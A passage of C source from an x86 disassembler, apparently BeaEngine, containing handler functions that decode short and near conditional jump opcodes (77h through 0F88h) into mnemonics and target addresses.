        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNB;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnbe ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      78h
// =======================================
void __stdcall js_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JS;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "js ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      79h
// =======================================
void __stdcall jns_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNS;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jns ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      7ah
// =======================================
void __stdcall jp_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JP;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jp ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      7bh
// =======================================
void __stdcall jnp_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNP;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnp ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      7ch
// =======================================
void __stdcall jl_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JL;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jl ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      7dh
// =======================================
void __stdcall jnl_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNL;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnl ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      7eh
// =======================================
void __stdcall jle_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JL;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jle ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}

// =======================================
//      7fh
// =======================================
void __stdcall jnle_(PDISASM pMyDisasm)
{
    long long MyAddress;
    signed long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNL;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnle ");
    if (!Security(1)) return;
    MyNumber = *((SBYTE*) (EIP_+1));
    CalculateRelativeAddress(&MyAddress, NB_PREFIX + 2 + MyNumber);
    if (OperandSize == 16) MyAddress = MyAddress & 0xffff;
    if (MyAddress >= 0x100000000) {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
    }
    else {
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
    }
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (*pMyDisasm).Instruction.AddrValue = MyAddress;
    EIP_+=2;
    FillFlags(pMyDisasm,49);
}


// =======================================
//      0f80h
// =======================================
void __stdcall jo_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JO;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jo ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Argument1.ArgSize = OperandSize;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Argument1.ArgSize = OperandSize;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}


// =======================================
//      0f81h
// =======================================
void __stdcall jno_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNO;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jno ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Argument1.ArgSize = OperandSize;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Argument1.ArgSize = OperandSize;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f82h
// =======================================
void __stdcall jc_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JC;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jc ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f83h
// =======================================
void __stdcall jnc_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNC;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jnc ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f84h
// =======================================
void __stdcall je_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JE;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "je ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f85h
// =======================================
void __stdcall jne_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JNE;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jne ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}
// =======================================
//      0f86h
// =======================================
void __stdcall jbe_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JB;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jbe ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}


// =======================================
//      0f87h
// =======================================
void __stdcall ja_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
    if ((*pMyDisasm).Prefix.CSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.CSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchNotTaken = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.DSPrefix == InUsePrefix) {
        (*pMyDisasm).Prefix.DSPrefix = NotUsedPrefix;
        (*pMyDisasm).Prefix.BranchTaken = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
    (*pMyDisasm).Instruction.BranchType = JA;
    (*pMyDisasm).Argument1.ArgSize = OperandSize;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ja ");
    if (OperandSize >= 32) {
        if (!Security(5)) return;
        MyNumber = *((SDWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 6 + MyNumber);
        if (MyAddress >= 0x100000000) {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%I64X", MyAddress);
        }
        else {
            (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.8X", MyAddress);
        }
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=5;
        FillFlags(pMyDisasm,49);
    }
    else {
        if (!Security(3)) return;
        MyNumber = *((SWORD*) (EIP_+1));
        CalculateRelativeAddress(&MyAddress, NB_PREFIX + 4 + MyNumber);
        MyAddress = MyAddress & 0xffff;
        (void) CopyFormattedNumber((char*) (*pMyDisasm).Argument1.ArgMnemonic, "%.4X", MyAddress);
        (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + RELATIVE_;
        (*pMyDisasm).Instruction.AddrValue = MyAddress;
        EIP_+=3;
        FillFlags(pMyDisasm,49);
    }
}

// =======================================
//      0f88h
// =======================================
void __stdcall js_near(PDISASM pMyDisasm)
{
    long long MyAddress;
    long MyNumber;
